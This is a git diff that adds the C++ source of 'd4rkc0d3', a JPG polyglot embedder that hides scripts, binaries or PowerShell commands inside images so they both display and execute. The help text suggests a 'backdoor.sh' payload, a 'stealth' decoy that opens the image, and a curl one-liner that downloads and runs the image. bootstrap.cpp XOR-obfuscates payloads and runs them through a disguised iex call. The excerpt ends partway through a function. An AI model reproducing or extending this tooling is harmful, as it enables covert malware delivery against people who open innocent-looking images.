z@vEFE#{k~VdFb}B1sZNoJVwEcH;9Uy_3?TA-7Gs#^?KA^9d@AZ!D7&|dIWEUjVd#W
z0%zAo{kxu0*~dq1m@+|Z*v2PqG!>&K7~B5U0Rm@jG|PfFYue7Da+vCDf;-nIBz`b%
z98IGI^=Y(`_4;rzv;o7#Y%#F(I*!QjdP<*Lk3s}DP!RV^gGT(EI0lXAX=%_nwGM;E
zWHGRzwH%SG?qIER0eJW9%Y(+D)hu0}#``y2$q^2&&Y4DgSH9Y&L|)P!D5Ys7RIlQM
z4dDn46r-h11kt{{WIKhfxnCdj&*syt<D8Qw)uJmLXg9~4wna2ZD;&Xm;=#>hdSND?
z@KKrom|Vf}GY~1X3r;q#w+?Wpz!E4Rd<cz10X{v5R;KUw^fu<6vv2pD%&TbTVLM(<
zG?{%IlZcbHR#CtFFbU>BFugZrqtu`sP9khx+Qv~&JNYoxKGEvlqam)OCgff-eXE<1
z5VQ^3v04ZX3Va?1N090|rG#ul_ek+0C5)7DRAZ8vN2~F6GOgf?KxV>04llY8%mqVc
zaNK75Wg98%;=xLGi3ciK*j|%_!)NE|N*i3{B%DIdCo9+-`oBt=L<AnEZfiP^4^*;H
zKKW`1C!emwu%`xzBL&r9hbsd1c;RJ)lSMpS!4`|$2q%ik;l&gq!c!%UnU$D9h}uY?
zoD$;Yl#p1-k+8T5xx_0x2x9aO&9jv}Q%MUIaNQY<XtvL3C;6P$f$B8l(}rw3<<my-
ze*3iyS_+?r=3&mKp@mKC($Lop?bl$ixqTX1{)K%Se13!%c~yF!Hm&i=eOe%|Yqm+l
zlzV@ZHkQwaJQ}Ls&>k(|<dYt4VMX<DqlTHT$wqA&ZGEGL?jqf&p{JN_)X*6%?$W|V
zJicEG;O;!ycrlMWs?8Ty4>xG&1IHS)Yza>{Xy^(C+*-J_BHW^3Vl}o`3zRpG?$HKT
zHX#h3Jnhv6;F){1D5g}s+UP32(4fs!r1?;b*1wJfvKuIyNovw3H!a$cO=>eAepH*=
z%ojY`{N{>*7Hwb)&w91Q77Wg{*)2Tb(~=k|!$8$F5uX-#kk9VdA`enQvk&rsR|`JG
zQP9Xkyx*r`?lk7pG7po10yRA8(<ZicBlnT*Jkp{~Z`aGPolFziL8Tho!BZ{TP%X!8
zMC$l_oi<uWspvsa5=^<{Rzu{%X56G;9=$`0hQ=T4V~_CEBO07E6eQHh$6(1u3db8c
zti1^2Q7!x^SrQYk5%538LwmINV?6V?Hn5uq5#G(Go3!L^KG38EnmC>yW?mPc&_-#t
zRhxaBcm|qz5Kpt2FYeb8&3tID7TrsQ3hv{h`?T0Ty3vt+95rFgL#2v)D90HO523Uk
zDo?+kkNCBypA5g~=lGfC*a6(o)B%oPWY!y;kF$!e+n5u7cz?f_Aq;~)ea$P?@I%M&
z;SLx1WcZA2U6utb3s@GgEMQr{vVdg)%L0}KEDKl`uq<F%z_Ng40m}lG1uP3#7O*T}
zS-`S@WdX|qmIW*eSQfA>U|GPjfMo&80+t0V3s@GgEMQr{vVdg)%L0}KEDKl`uq<F%
zz_Ng40m}lG1uP3#7O*T}S-`S@WdX|qmIW*eSQfA>U|GPjfMo&80+t0V3s@GgEMQr{
zvVdg)%L0}KEDKl`uq<F%z_Ng40m}lG1uP3#7O*T}S-`S@WdX|qmIW*eSQfA>U|GPj
zfMo&80+t0V3s@GgEMQr{vVdg)%L0}KEDKl`uq<F%z_Ng40m}lG1uP3#7O*T}S-`S@
zWdX|qmIW*eSQfA>U|GPjfMo&80+t0V3s@GgEMQr{vVdg)%L0}KEDKl`uq<F%z_Ng4
z0m}lG1uP3#7O*T}S-`S@WdX|qmIW*eSQfA>U|GPjfMo&80+t0V3s@GgEMQr{vcUht
z7I1w=6fXH`b0LF^`8weFZGp#rOHh}LEAF)7`xAk5r6m0`#UZHk-=)5<i+DO<(*q94
zmaW(H5SQ_qJt8i+7!xrh?tE)LCGVE<N`F(1K7}vHd`0OP^W2BenUinpefY|9_}X*$
zRQWn3o+t0O>ppxvZ^IWXvFjQ<l4grVT&iW64dPBmW(1v;G%az(7hfmR6B19|hsJZ{
zlziEDgnUZsajqBfn55N8PR5m7>yHS&z)3;7-Y00ybAl#21@$~DXy9o<gYOYEbwbei
zQ-XTh1wDUE#@l52VL@jP%D7L^GD-bj5wB^H>H7tB?h~}AS>lfi>e?;n`Nst9dQ{M|
zMnMC+1RZe8^m;+lI|OxY6Ld2C)^zTQNLTdy!y<k^n%*kX74_7J`2A>H>Qgi!`R_-&
zs)as9)pK;MaO%OBQ&5+rv3wC%e2Thq@VMmnNE(;vo*X_UAI}qd(?281le{fx?3$pV
ztAf5=dUjawIVGLFCE{*L=YC$MOWGP0@z|iCb3=l1N#i#~yhzfw%RlfX!SDH^ppy|n
z6W0ZGZ8B4J|8Du*oDYh0g-^ai{%)6)Q&cL5KQHjPGcw=Jf+lkKJTm?KX_20meEpKD
z^2EDDdiIo{H4g}??o09Abw9Em`?m;w#mA(cv}`xns7R0flAwX#6x8!IDfc$%p5G9B
zt>c2mCIub&Jwe;PDrncQ3mX4jL6g5D@vjKlGbU&{F6ivn1%12nrGHiMwf%~qUB4}8
zd_vM1(PP9VRdyKojz};1FM=xkeEB=$=Ou!#Ypd#!gofA)LSN#`f({i(z6Z>FO!6_w
z*Oo8&)|>gd&I&y>BZ8*6NPoNg3EHK;I<vmsZlTBdi-PK<_Api~4Ul>7lBd8}J7Xmh
zUohgWj1@@S`J90tSo=#NJ}&(l$;K{8T*Va~$iav2BcG6XB1do4%jW!>WPBlqFDBz%
z(*FwN_+iRVx>zborsAK?iC@Wye<>$Ek`w=$j2Fop4xSJJW$)TbQU0|uJ@8%ONv)T0
z)%vef@-lrxPWnH-dFK^^GSYofR*9DjM&&2T?tSU`F_~T{^;Jn)DXAi=wq)*z@+mJV
zC<QAdqw)jSD8WM_pzzFtBChVMYO{#1ko+qDf4d{@2e8iiri?Fa6^wUeT-{ez#^YN=
z`oGBdVf7%T{_huQmHxQv)b~r{_oio5)+dV!`&o9d>_8Uy|GgfFr?~t-<4`T8!2UQ{
z<Y6qZU-j;8muT@-yFctV$46yc@sG<m=@5UheS(%DUWGrpF3GgOUJ)l=y5fi{xm?PK
zSL)K!WSr!byrMcU@J^|h;-tG*##=$V=nwknqViBW{pq?9&!wc}o#yX^JY9;CYyf|h
zkHRT`kIY|{>-&{I*;>COZ33nIl|3kLx<4lWs9Y4M{9{xm87Iv6$B<5cbYFVeW%-GR
zE}bG>-B*>wb^XBGNgpWT9{i<A9)FbHCDTZjaMES`b4lJM40=eGF2a^5@X>uEy~497
zO9<+eanCCv-ukk{zaePNOM+%TAZY*l1r7bapxGWlJuk}iprG;3N&K5K-Y;m^hXt+u
zLqX?0BymaOuZno!zY5A^ytYro+b;?_Aj{u%LBzX0C}<!gsOQH8b-gC&+>Z$w|Ae4z
zNkQE*9{jk7PhJ)@@JE8CKPG6Aq^^&Ocu1C?eMH3BB|+T-f~J2`(5^ohwC5)TZT(Y0
zvnfFXlEwofp7|3&dn8T#HxaLu=`I-${IS5}@;(BelzcxW@z(`SOw0JU1dUY-I`?OS
zcFE_$Bn^B<-~pNLl<}cY3*03slj*Tf3EVAdkDUJ*`e}j3-w-q{%O&dL-Tx2yd{4M)
z{AbUcJN>e&;nDhC_3pZc-P>f4v6iinIeqr@nRBOJID5M9)eC1&oqoCd)R}XA7a6&n
zHU<y5{$kI?z6*V)&#?NJU+Ftr|KiK9)}MLx-1+XhbKR`|+{=AuFZ41U?Kyq1ht+p~
z<mHPWc}dW|3nJx1XD?hl_sYwr$SI^<ID7sy3CK|I`99Kk4*&bkUc&zu5JB22-KYCb
zv--0=r(U>l`lYj{db%O2Vo>`0^QX>Udj4#0-zgOH{8?Gh7VqJ@zSA#4*O`kKh2B%A
zFI+hN5usOwNjDV)+31Bn{nEMTq4O1FkAL-gnMD4&n&)46>7}zTBeCVg(fZSUeHYH1
zdA0BC#k-CFJs>m;p)rOUmki5*qSZM%RX?cUO$g9)Q}Rg}P*jb_6o2lp;vppb6UH1$
zUX8;P?UsTnUvqEHm>cPI4@$mWR8yvCuN;U|uTDuyUX7QUB(CJuxKB|v&I6l%<(A(A
zl*Uv`@>>L-8c#J!0abp*r|40z(-=*~)i_Pjtdytn)0j<_U*y8rNd!o@l2_wIMb$V_
z<*($`{l6gPy-J}RcQQ%UIF;mSteq?03yg}W#*=ECuBaMsgGIkoIaK@u2pHva{m+yd
z084=~B`E2Ka^wTgi3CMQzGlwRBjpsijDRtJHLswkvXkOBYh&!wQeN4=UCv7=TJx()
zQqbJ;e<4Ty(l><vspzDf2T@vb^N-}nd%h*)6`k%>l7gz|r_e9u$XB_=lT`GKnm~~P
zx%rO)H?|*_j|h21T~bbwT>0Nc0+q=j6VyCT;JdOMN>I{V`2=u!#pP?ya^-XHSH%^b
zf-IR>$p_^;QBdZu_`srHDz0c6DAgY&KOp4?r2M#=pwXon%YFWT51j5)$*cL1)_)iG
z@0JxyJk{m*PwDw5$Qtv%B<Gnf-4XIVGG9ehxfT7l9C<ZQm67sURWPYQ$tlW_xiSB=
z9B-u^;>EqB3NGbUxm9@zAWXVcHl6Z&PUi|CpUa>7{7Ys2ZlzFCCI3JUPGzM_(JBOx
jcdtN~|6h{%S1&_)C^vu7qsne%jY|0%m61%$iL(C-!0W<v

literal 0
HcmV?d00001

diff --git a/src/args.cpp b/src/args.cpp
new file mode 100644
index 0000000..54d2f43
--- /dev/null
+++ b/src/args.cpp
@@ -0,0 +1,377 @@
+#include "args.h"
+
+#include <cstdio>
+#include <format>
+#include <iostream>
+#include <print>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+
+namespace fs = std::filesystem;
+
+namespace {
+
+    void printInteractiveBanner() {
+        std::print(R"(
+  ┌─────────────────────────────────────────────────┐
+  │                                                 │
+  │    ▓█████▄  ██░ ██  ██▀███   ██ ▄█▀ ▄████▄     │
+  │    ▒██▀ ██▌▓██░ ██▒▓██ ▒ ██▒ ██▄█▒ ██▀ ▀█     │
+  │    ░██   █▌▒██▀▀██░▓██ ░▄█ ▒▓███▄░ ▓█    ▄     │
+  │    ░▓█▄   ▌░▓█ ░██ ▒██▀▀█▄  ▓██ █▄▒▓▓▄ ▄██▒   │
+  │    ░▒████▓  ░▓█▒░██▓░██▓ ▒██▒▒██▒ █▄▒ ▓███▀ ░  │
+  │     ▒▒▓  ▒   ▒ ░░▒░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒░ ░▒ ▒  ░  │
+  │                                                 │
+  │       d4rkc0d3 — JPG Polyglot Embedder v4.0     │
+  │                                                 │
+  └─────────────────────────────────────────────────┘
+)");
+    }
+
+    void printHelp(std::string_view prog) {
+        std::print(R"(
+
+  d4rkc0d3 v4.0 — JPG Polyglot Embedder
+
+  Embeds scripts, executables, or inline commands within a JPG image,
+  creating a polyglot file that works as both a valid image and runnable code.
+
+  ──────────────────────────
+  Supported payload types
+  ──────────────────────────
+
+    Scripts:     .ps1 .sh .bash .zsh .py .rb .pl .bat .cmd
+    Binaries:    .exe .elf .bin .out .appimage .dll .so .dylib
+
+    .ps1 scripts are embedded directly (original behavior).
+    All other payloads are base64-encoded with an auto-extract bootstrap.
+
+  ──────────────────────────
+  Usage (CLI mode)
+  ──────────────────────────
+
+    {0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload_file>
+    {0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> "commands"
+    {0} --help
+
+    Run without arguments for interactive mode.
+
+  ──────────────────────────
+  Flags
+  ──────────────────────────
+
+    -alt          Use alternative tail patch
+    -o <name>     Set output filename (default: d4rc0d3_<random>.jpg)
+    -c            Inline PowerShell commands mode
+    --keep        Keep extracted file after execution (don't auto-delete)
+    --show        Open image in viewer when executing (stealth mode)
+    --seq         Wait for image viewer to close before running payload
+    -d <path>     Custom extraction directory (default: /tmp or system temp)
+
+  ──────────────────────────
+  Examples
+  ──────────────────────────
+
+    {0} cover.jpg script.ps1
+    {0} cover.jpg backdoor.sh
+    {0} cover.jpg calc.exe
+    {0} -c cover.jpg "hostname;whoami"
+    {0} -o stealth.jpg cover.jpg large.elf
+
+  ──────────────────────────
+  Execution
+  ──────────────────────────
+
+    Direct:      ./output.jpg              (Linux/Mac, already +x)
+    PowerShell:  pwsh output.jpg
+    Windows:     powershell -ExecutionPolicy Bypass -File output.jpg
+
+    One-liner:
+      curl -o i.jpg "URL" && chmod +x i.jpg && ./i.jpg
+
+  Max cover image size: 5MB.
+
+    )", prog);
+    }
+
+    [[nodiscard]] std::string trimWhitespace(const std::string& s) {
+        const auto start = s.find_first_not_of(" \t\r\n");
+        if (start == std::string::npos) return "";
+        const auto end = s.find_last_not_of(" \t\r\n");
+        return s.substr(start, end - start + 1);
+    }
+
+    [[nodiscard]] std::string cleanInputPath(const std::string& raw) {
+        std::string s = trimWhitespace(raw);
+        if (s.size() >= 2) {
+            if ((s.front() == '"' && s.back() == '"') ||
+                (s.front() == '\'' && s.back() == '\'')) {
+                s = s.substr(1, s.size() - 2);
+            }
+        }
+        std::string cleaned;
+        cleaned.reserve(s.size());
+        for (std::size_t i = 0; i < s.size(); ++i) {
+            if (s[i] == '\\' && i + 1 < s.size() && s[i + 1] == ' ') {
+                cleaned += ' ';
+                ++i;
+            } else {
+                cleaned += s[i];
+            }
+        }
+        return cleaned;
+    }
+
+    [[nodiscard]] std::string readLine(std::string_view prompt) {
+        std::print("  {}", prompt);
+        std::fflush(stdout);
+        std::string line;
+        if (!std::getline(std::cin, line)) {
+            std::println("");
+            throw std::runtime_error("Input cancelled.");
+        }
+        return line;
+    }
+
+    [[nodiscard]] bool readYesNo(std::string_view prompt, bool default_val) {
+        const std::string s = trimWhitespace(readLine(prompt));
+        if (s.empty()) return default_val;
+        return s[0] == 'y' || s[0] == 'Y';
+    }
+
+    [[nodiscard]] std::string_view modeTag(PayloadMode mode) {
+        switch (mode) {
+            case PayloadMode::DirectPwsh: return "PowerShell (direct embed)";
+            case PayloadMode::Script:     return "script (base64 bootstrap)";
+            case PayloadMode::Binary:     return "binary (base64 bootstrap)";
+            case PayloadMode::Command:    return "inline commands";
+        }
+        return "unknown";
+    }
+
+    [[nodiscard]] std::optional<ProgramArgs> interactiveMode() {
+        printInteractiveBanner();
+
+        std::println("\n  Select payload mode:\n");
+        std::println("    [1] Inline commands only");
+        std::println("    [2] Script or executable");
+        std::println("    [3] Commands + script/executable");
+
+        const std::string mode_str = trimWhitespace(readLine("\n  Mode (1-3): "));
+
+        if (mode_str != "1" && mode_str != "2" && mode_str != "3") {
+            throw std::runtime_error("Invalid mode selection. Expected 1, 2, or 3.");
+        }
+        const int mode = mode_str[0] - '0';
+
+        std::println("");
+
+        ProgramArgs args{};
+
+        const std::string image_raw = readLine("Cover image path: ");
+        args.image_file_path = fs::path(cleanInputPath(image_raw));
+        if (args.image_file_path.empty()) {
+            throw std::runtime_error("Cover image path cannot be empty.");
+        }
+
+        if (mode == 2 || mode == 3) {
+            const std::string payload_raw = readLine("Payload file path: ");
+            args.payload_file_path = fs::path(cleanInputPath(payload_raw));
+            if (args.payload_file_path.empty()) {
+                throw std::runtime_error("Payload file path cannot be empty.");
+            }
+            args.payload_mode = detectPayloadMode(args.payload_file_path);
+            std::println("  → Detected: {}", modeTag(args.payload_mode));
+        }
+
+        if (mode == 1 || mode == 3) {
+            const std::string cmd_raw = readLine("Inline commands: ");
+            args.inline_commands = trimWhitespace(cmd_raw);
+            if (args.inline_commands.empty()) {
+                throw std::runtime_error("Inline commands cannot be empty.");
+            }
+            if (mode == 1) {
+                args.payload_mode = PayloadMode::Command;
+            }
+        }
+
+        std::println("\n  ── Options ──");
+        args.option = readYesNo("Alt tail patch? [y/N]: ", false) ? Option::Alt : Option::None;
+        args.show_image = readYesNo("Open image viewer on execution? [y/N]: ", false);
+        if (args.show_image) {
+            args.sequential = readYesNo("Wait for viewer to close before running payload? [y/N]: ", false);
+        }
+
+        if (mode == 2 || mode == 3) {
+            args.keep_extracted = readYesNo("Keep extracted file after execution? [y/N]: ", false);
+
+            const std::string dir_raw = readLine("Extraction directory [Enter = /tmp (Linux/Mac) or %%TEMP%% (Windows)]: ");
+            std::string dir = trimWhitespace(dir_raw);
+            if (!dir.empty()) {
+                args.extract_dir = dir;
+            }
+        }
+
+        const std::string name_raw = readLine("Output filename [Enter = d4rc0d3_<random>.jpg]: ");
+        std::string name = trimWhitespace(name_raw);
+        if (!name.empty() && fs::path(name).extension().empty()) {
+            name += ".jpg";
+        }
+        args.output_filename = name;
+
+        std::println("");
+        return args;
+    }
+
+    [[nodiscard]] std::string displayProgramName(std::string_view program_name) {
+        std::string prog = fs::path(program_name).filename().string();
+        if (prog.empty()) {
+            prog = "d4rkc0d3";
+        }
+        return prog;
+    }
+
+    [[nodiscard]] std::runtime_error usageError(std::string_view program_name) {
+        constexpr std::string_view PREFIX = "Usage: ";
+        const std::string prog = displayProgramName(program_name);
+        return std::runtime_error(std::format("{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload>\n"
+                                              "{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> \"commands\"\n"
+                                              "{}{} --help\n"
+                                              "{}Run without arguments for interactive mode.",
+                                              PREFIX, prog,
+                                              std::string(PREFIX.size(), ' '), prog,
+                                              std::string(PREFIX.size(), ' '), prog,
+                                              std::string(PREFIX.size(), ' ')));
+    }
+
+    [[nodiscard]] const char* argumentAt(int argc, char** argv, int index, const char* program_name) {
+        if (argv == nullptr || index < 0 || index >= argc || argv[index] == nullptr) {
+            throw usageError(program_name);
+        }
+        return argv[index];
+    }
+
+    struct ParseState {
+        int next_arg = 1;
+    };
+
+    void parseFlags(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
+        while (state.next_arg < argc) {
+            const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
+
+            if (arg == "-alt") {
+                out.option = Option::Alt;
+                ++state.next_arg;
+            } else if (arg == "--keep") {
+                out.keep_extracted = true;
+                ++state.next_arg;
+            } else if (arg == "--show") {
+                out.show_image = true;
+                ++state.next_arg;
+            } else if (arg == "--seq") {
+                out.sequential = true;
+                ++state.next_arg;
+            } else if (arg == "-d") {
+                ++state.next_arg;
+                if (state.next_arg >= argc) {
+                    throw std::runtime_error("-d requires an extraction directory path.");
+                }
+                out.extract_dir = argumentAt(argc, argv, state.next_arg, program_name);
+                if (out.extract_dir.empty()) {
+                    throw std::runtime_error("-d requires a non-empty path.");
+                }
+                ++state.next_arg;
+            } else if (arg == "-o") {
+                ++state.next_arg;
+                if (state.next_arg >= argc) {
+                    throw std::runtime_error("-o requires an output filename.");
+                }
+                out.output_filename = argumentAt(argc, argv, state.next_arg, program_name);
+                if (out.output_filename.empty()) {
+                    throw std::runtime_error("-o requires a non-empty filename.");
+                }
+                if (fs::path(out.output_filename).extension().empty()) {
+                    out.output_filename += ".jpg";
+                }
+                ++state.next_arg;
+            } else {
+                break;
+            }
+        }
+    }
+
+    void parseCommandMode(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
+        if (state.next_arg >= argc) {
+            throw usageError(program_name);
+        }
+
+        const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
+
+        if (arg == "-c") {
+            out.payload_mode = PayloadMode::Command;
+            ++state.next_arg;
+
+            if (state.next_arg + 1 >= argc) {
+                throw usageError(program_name);
+            }
+
+            out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+            ++state.next_arg;
+
+            out.inline_commands = argumentAt(argc, argv, state.next_arg, program_name);
+            ++state.next_arg;
+
+            if (out.image_file_path.empty() || out.inline_commands.empty()) {
+                throw usageError(program_name);
+            }
+            return;
+        }
+
+        if (state.next_arg + 1 >= argc) {
+            throw usageError(program_name);
+        }
+
+        out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+        ++state.next_arg;
+
+        out.payload_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+        ++state.next_arg;
+
+        if (out.image_file_path.empty() || out.payload_file_path.empty()) {
+            throw usageError(program_name);
+        }
+
+        out.payload_mode = detectPayloadMode(out.payload_file_path);
+    }
+}
+
+std::optional<ProgramArgs> ProgramArgs::parse(int argc, char** argv) {
+    const char* program_name = (argc > 0 && argv != nullptr && argv[0] != nullptr) ? argv[0] : "d4rkc0d3";
+
+    if (argc < 2) {
+        return interactiveMode();
+    }
+
+    const std::string_view first_arg = argumentAt(argc, argv, 1, program_name);
+    if (first_arg == "--help" || first_arg == "--info") {
+        if (argc != 2) {
+            throw usageError(program_name);
+        }
+        printHelp(displayProgramName(program_name));
+        return std::nullopt;
+    }
+
+    ProgramArgs out{};
+    ParseState state{};
+    state.next_arg = 1;
+
+    parseFlags(argc, argv, program_name, out, state);
+    parseCommandMode(argc, argv, program_name, out, state);
+
+    if (state.next_arg != argc) {
+        throw usageError(program_name);
+    }
+
+    return out;
+}
diff --git a/src/args.h b/src/args.h
new file mode 100644
index 0000000..95c429a
--- /dev/null
+++ b/src/args.h
@@ -0,0 +1,24 @@
+#pragma once
+
+#include "bootstrap.h"
+
+#include <filesystem>
+#include <optional>
+#include <string>
+
+enum class Option : unsigned char { None, Alt };
+
+struct ProgramArgs {
+    Option option{Option::None};
+    PayloadMode payload_mode{PayloadMode::DirectPwsh};
+    std::filesystem::path image_file_path;
+    std::filesystem::path payload_file_path;
+    std::string inline_commands;
+    std::string output_filename;
+    bool keep_extracted{false};
+    bool show_image{false};
+    bool sequential{false};
+    std::string extract_dir;
+
+    static std::optional<ProgramArgs> parse(int argc, char** argv);
+};
diff --git a/src/bootstrap.cpp b/src/bootstrap.cpp
new file mode 100644
index 0000000..2b1d266
--- /dev/null
+++ b/src/bootstrap.cpp
@@ -0,0 +1,556 @@
+#include "bootstrap.h"
+
+#include <algorithm>
+#include <array>
+#include <cctype>
+#include <format>
+#include <random>
+#include <span>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+
+namespace {
+
+    constexpr std::string_view BASE64_CHARS =
+        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+
+    [[nodiscard]] std::string base64Encode(std::span<const Byte> input) {
+        std::string result;
+        result.reserve(((input.size() + 2) / 3) * 4);
+
+        std::size_t i = 0;
+        while (i + 2 < input.size()) {
+            const auto triple =
+                (static_cast<uint32_t>(input[i])     << 16) |
+                (static_cast<uint32_t>(input[i + 1]) << 8)  |
+                 static_cast<uint32_t>(input[i + 2]);
+            result += BASE64_CHARS[(triple >> 18) & 0x3F];
+            result += BASE64_CHARS[(triple >> 12) & 0x3F];
+            result += BASE64_CHARS[(triple >>  6) & 0x3F];
+            result += BASE64_CHARS[ triple        & 0x3F];
+            i += 3;
+        }
+
+        if (i < input.size()) {
+            auto triple = static_cast<uint32_t>(input[i]) << 16;
+            if (i + 1 < input.size()) {
+                triple |= static_cast<uint32_t>(input[i + 1]) << 8;
+            }
+            result += BASE64_CHARS[(triple >> 18) & 0x3F];
+            result += BASE64_CHARS[(triple >> 12) & 0x3F];
+            result += (i + 1 < input.size())
+                ? BASE64_CHARS[(triple >> 6) & 0x3F]
+                : '=';
+            result += '=';
+        }
+
+        return result;
+    }
+
+    [[nodiscard]] std::string toLowerExt(const std::filesystem::path& p) {
+        std::string ext = p.extension().string();
+        std::ranges::transform(ext, ext.begin(), [](unsigned char c) {
+            return static_cast<char>(std::tolower(c));
+        });
+        return ext;
+    }
+
+    struct InterpreterInfo {
+        std::string_view ext;
+        std::string_view interpreter;
+        bool is_script;
+    };
+
+    constexpr auto INTERPRETER_MAP = std::to_array<InterpreterInfo>({
+        { ".sh",    "bash",    true },
+        { ".bash",  "bash",    true },
+        { ".zsh",   "zsh",     true },
+        { ".py",    "python3", true },
+        { ".rb",    "ruby",    true },
+        { ".pl",    "perl",    true },
+        { ".bat",   "cmd /c",  true },
+        { ".cmd",   "cmd /c",  true },
+    });
+
+    constexpr auto BINARY_EXTENSIONS = std::to_array<std::string_view>({
+        ".exe", ".elf", ".bin", ".out", ".appimage",
+        ".dll", ".so", ".dylib",
+    });
+
+    [[nodiscard]] bool isBinaryExtension(std::string_view ext) {
+        return std::ranges::any_of(BINARY_EXTENSIONS, [&](std::string_view be) {
+            return ext == be;
+        });
+    }
+
+    [[nodiscard]] std::string_view interpreterForExtension(std::string_view ext) {
+        for (const auto& entry : INTERPRETER_MAP) {
+            if (entry.ext == ext) {
+                return entry.interpreter;
+            }
+        }
+        return {};
+    }
+
+    // ── XOR helpers ─────────────────────────────────────────
+
+    [[nodiscard]] vBytes xorEncode(std::span<const Byte> data, std::span<const Byte> key) {
+        vBytes result(data.size());
+        for (std::size_t i = 0; i < data.size(); ++i) {
+            result[i] = data[i] ^ key[i % key.size()];
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatNumericArray(std::span<const Byte> data) {
+        std::string result;
+        result.reserve(data.size() * 4);
+        for (std::size_t i = 0; i < data.size(); ++i) {
+            if (i > 0) result += ',';
+            result += std::to_string(data[i]);
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatOctalEscaped(std::string_view s) {
+        std::string result;
+        result.reserve(s.size() * 4);
+        for (auto ch : s) {
+            result += std::format("\\{:03o}", static_cast<unsigned char>(ch));
+        }
+        return result;
+    }
+
+    [[nodiscard]] std::string formatPsCharArray(std::string_view s) {
+        std::string result;
+        result.reserve(s.size() * 4);
+        for (std::size_t i = 0; i < s.size(); ++i) {
+            if (i > 0) result += ',';
+            result += std::to_string(static_cast<unsigned char>(s[i]));
+        }
+        return result;
+    }
+
+    // Resolves $_p to the running script path.
+    // Works for: pwsh file.ps1, pwsh file.jpg, pwsh -File file.jpg,
+    //            powershell -ExecutionPolicy Bypass -File file.jpg
+    constexpr std::string_view PS_RESOLVE_PATH =
+        "$_p=$MyInvocation.MyCommand.Path;"
+        "if([string]::IsNullOrEmpty($_p)){"
+            "$_ca=[Environment]::GetCommandLineArgs();"
+            "for($_ci=0;$_ci-lt$_ca.Length-1;$_ci++){"
+                "if($_ca[$_ci]-eq'-File'-or$_ca[$_ci]-eq'-f'){"
+                    "$_p=$_ca[$_ci+1];break"
+                "}"
+            "};"
+            "if([string]::IsNullOrEmpty($_p)-and$_ca.Length-ge2){"
+                "$_p=$_ca[1]"
+            "}"
+        "};";
+
+    [[nodiscard]] std::string psKeyDerivation() {
+        return std::string(PS_RESOLVE_PATH) +
+            std::format(
+                "$_f=[IO.File]::ReadAllBytes($_p);"
+                "$_a=0;for($j=0;$j-lt$_f.Length-1;$j++)"
+                "{{if($_f[$j]-eq0xFF-and$_f[$j+1]-eq0xE2){{$_a=$j;break}}}};"
+                "$_k=[byte[]]::new({1});for($j=0;$j-lt{1};$j++)"
+                "{{$_k[$j]=$_f[$_a+{0}+$j]}}",
+                ICC_KEY_OFFSET, XOR_KEY_LENGTH);
+    }
+
+    [[nodiscard]] std::string wrapPsXorStub(
+        const std::string& ps_code,
+        std::span<const Byte> key) {
+
+        vBytes code_bytes(reinterpret_cast<const Byte*>(ps_code.data()),
+                          reinterpret_cast<const Byte*>(ps_code.data() + ps_code.size()));
+        vBytes xored = xorEncode(code_bytes, key);
+
+        std::string inner = std::format(
+            "{};$d=@({});$r='';for($i=0;$i-lt$d.Count;$i++)"
+            "{{$r+=[char]($d[$i]-bxor$_k[$i%$_k.Length])}};iex $r",
+            psKeyDerivation(), formatNumericArray(xored));
+
+        return std::format(
+            "&([char[]]@(105,101,120)-join'')([char[]]@({})-join'')",
+            formatPsCharArray(inner));
+    }
+
+    // ── Bootstrap builders ──────────────────────────────────
+
+    [[nodiscard]] std::string psExtractDir(const BootstrapOptions& opts) {
+        if (opts.extract_dir.empty()) {
+            return "[IO.Path]::GetTempPath()";
+        }
+        return std::format("'{}'", opts.extract_dir);
+    }
+
+    [[nodiscard]] std::string psShowPrefix(const BootstrapOptions& opts) {
+        if (!opts.show_image) {
+            return "";
+        }
+        if (opts.sequential) {
+            return std::string(PS_RESOLVE_PATH) +
+                   "try{if($IsMacOS){& open -W $_p}elseif($IsLinux){& xdg-open $_p;Start-Sleep 1}"
+                   "else{Start-Process mspaint.exe $_p -Wait}}catch{};";
+        }
+        return std::string(PS_RESOLVE_PATH) +
+               "try{if($IsMacOS){& open $_p}elseif($IsLinux){& xdg-open $_p}"
+               "else{Start-Process mspaint.exe $_p}}catch{};";
+    }
+
+    [[nodiscard]] std::string shellShowPrefix(std::string_view self = "$0", bool sequential = false) {
+        if (sequential) {
+            return std::format("open -W \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null\n", self, self);
+        }
+        return std::format("(open \"{}\" 2>/dev/null || xdg-open \"{}\" 2>/dev/null) &\n", self, self);
+    }
+
+    [[nodiscard]] std::string buildScriptBootstrap(
+        std::string_view interpreter,
+        std::string_view target_ext,
+        const BootstrapOptions& opts,
+        std::span<const Byte> xor_key) {
+
+        const std::string dir_expr = psExtractDir(opts);
+        const std::string cleanup = opts.keep_extracted
+            ? ""
+            : "finally{Remove-Item $_t -EA 0}";
+        const std::string show = psShowPrefix(opts);
+
+        std::string xor_decode;
+        if (!xor_key.empty()) {
+            xor_decode = std::format(
+                "{};for($_j=0;$_j-lt$_d.Length;$_j++)"
+                "{{$_d[$_j]=$_d[$_j]-bxor$_k[$_j%$_k.Length]}};",
+                psKeyDerivation());
+        }
+
+        std::string marker = std::format("\r\n#JPWS:{}:{}\r\n", target_ext, interpreter);
+
+        std::string body = std::format(
+            "{}$_s=[IO.File]::ReadAllText($_p,"
+            "[Text.Encoding]::GetEncoding(28591));"
+            "$_i=$_s.IndexOf('#_:')+3;"
+            "$_d=[Convert]::FromBase64String("
